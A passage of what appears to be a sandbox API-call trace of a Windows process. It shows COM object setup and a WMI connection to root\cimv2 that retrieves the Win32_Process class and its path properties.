ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0088.459] IUnknown:Release (This=0x111f638) returned 0x1 [0088.461] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c0217e0) returned 0x0 [0088.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0217e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0088.461] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0217e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea1130) returned 0x0 [0088.461] WbemDefPath:IUnknown:Release (This=0x1c0217e0) returned 0x0 [0088.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea1130) returned 0x0 [0088.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0088.462] WbemDefPath:IUnknown:AddRef (This=0x1bea1130) returned 0x3 [0088.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0088.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0088.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c021820) returned 0x0 [0088.462] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021820, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.462] WbemDefPath:IUnknown:Release (This=0x1c021820) returned 0x3 [0088.462] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0088.462] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0088.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0088.462] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x2 [0088.462] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x1 [0088.462] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0088.462] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0088.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea1130) returned 0x0 [0088.462] WbemDefPath:IUnknown:AddRef (This=0x1bea1130) returned 0x3 [0088.462] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x2 [0088.462] WbemDefPath:IWbemPath:SetText (This=0x1bea1130, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0088.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0088.462] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0088.463] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.463] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0088.463] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0088.463] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0088.463] IUnknown:Release (This=0x111f638) returned 0x1 [0088.464] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c0215a0) returned 0x0 [0088.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0215a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0088.464] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0215a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c021620) returned 0x0 [0088.464] WbemLocator:IUnknown:Release (This=0x1c0215a0) returned 0x0 [0088.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021620, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c021620) returned 0x0 [0088.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021620, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0088.464] WbemLocator:IUnknown:AddRef (This=0x1c021620) returned 0x3 [0088.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021620, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0088.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021620, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0088.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021620, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0088.464] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0088.464] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0088.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021620, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0088.465] WbemLocator:IUnknown:Release (This=0x1c021620) returned 0x2 [0088.465] WbemLocator:IUnknown:Release (This=0x1c021620) returned 0x1 [0088.465] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0088.465] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0088.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021620, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c021620) returned 0x0 [0088.465] WbemLocator:IUnknown:AddRef (This=0x1c021620) returned 0x3 [0088.465] WbemLocator:IUnknown:Release (This=0x1c021620) returned 0x2 [0088.465] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0088.465] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0088.465] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.465] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c021640) returned 0x0 [0088.465] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c021640, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf01cb0) returned 0x0 [0088.633] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01cb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e01a0) returned 0x0 [0088.634] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e01a0, pProxy=0x1bf01cb0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0088.634] WbemLocator:IUnknown:Release (This=0x11e01a0) returned 0x1 [0088.634] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01cb0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e01e0) returned 0x0 [0088.634] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01cb0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e01a0) returned 0x0 [0088.634] WbemLocator:IClientSecurity:SetBlanket (This=0x11e01a0, pProxy=0x1bf01cb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0088.634] WbemLocator:IUnknown:Release (This=0x11e01a0) returned 0x2 [0088.634] WbemLocator:IUnknown:Release (This=0x11e01e0) returned 0x1 [0088.634] CoTaskMemFree (pv=0x1bf3cf20) [0088.634] WbemLocator:IUnknown:AddRef (This=0x1bf01cb0) returned 0x2 [0088.634] WbemLocator:IUnknown:Release (This=0x1c021640) returned 0x0 [0088.635] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0088.635] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0088.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01cb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e01b0) returned 0x0 [0088.635] WbemLocator:IRpcOptions:Query (in: This=0x11e01b0, pPrx=0x1c021560, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0088.635] WbemLocator:IUnknown:Release (This=0x11e01b0) returned 0x2 [0088.635] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0088.635] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0088.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01cb0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf01cb0) returned 0x0 [0088.635] WbemLocator:IUnknown:Release (This=0x1bf01cb0) returned 0x2 [0088.635] SysStringLen (param_1=0x0) returned 0x0 [0088.636] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0088.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0088.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bea14f0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0088.636] WbemDefPath:IWbemPath:GetText (in: This=0x1bea14f0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0088.636] IWbemServices:GetObject (in: This=0x1bf01cb0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11ed540, ppCallResult=0x0) returned 0x0 [0088.639] IWbemClassObject:Get (in: This=0x11ed540, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0088.640] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0088.640] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0088.640] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0088.640] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0088.640] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0088.640] IUnknown:Release (This=0x111f638) returned 0x1 [0088.642] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c021640) returned 0x0 [0088.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021640, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0088.642] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021640, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea1070) returned 0x0 [0088.642] WbemDefPath:IUnknown:Release (This=0x1c021640) returned 0x0 [0088.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea1070) returned 0x0 [0088.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0088.643] WbemDefPath:IUnknown:AddRef (This=0x1bea1070) returned 0x3 [0088.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0088.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0088.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c021660) returned 0x0 [0088.643] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.643] WbemDefPath:IUnknown:Release (This=0x1c021660) returned 0x3 [0088.643] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0088.643] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0088.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0088.643] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x2 [0088.643] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x1 [0088.643] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0088.643] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0088.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1070, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea1070) returned 0x0 [0088.643] WbemDefPath:IUnknown:AddRef (This=0x1bea1070) returned 0x3 [0088.643] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x2 [0088.643] WbemDefPath:IWbemPath:SetText (This=0x1bea1070, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0088.643] IWbemClassObject:Get (in: This=0x11ed540, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0088.643] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0088.644] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0088.644] IWbemClassObject:Get (in: This=0x11ed540, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0088.644] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0088.644] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0088.644] IWbemClassObject:Get (in: This=0x11ed540, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, 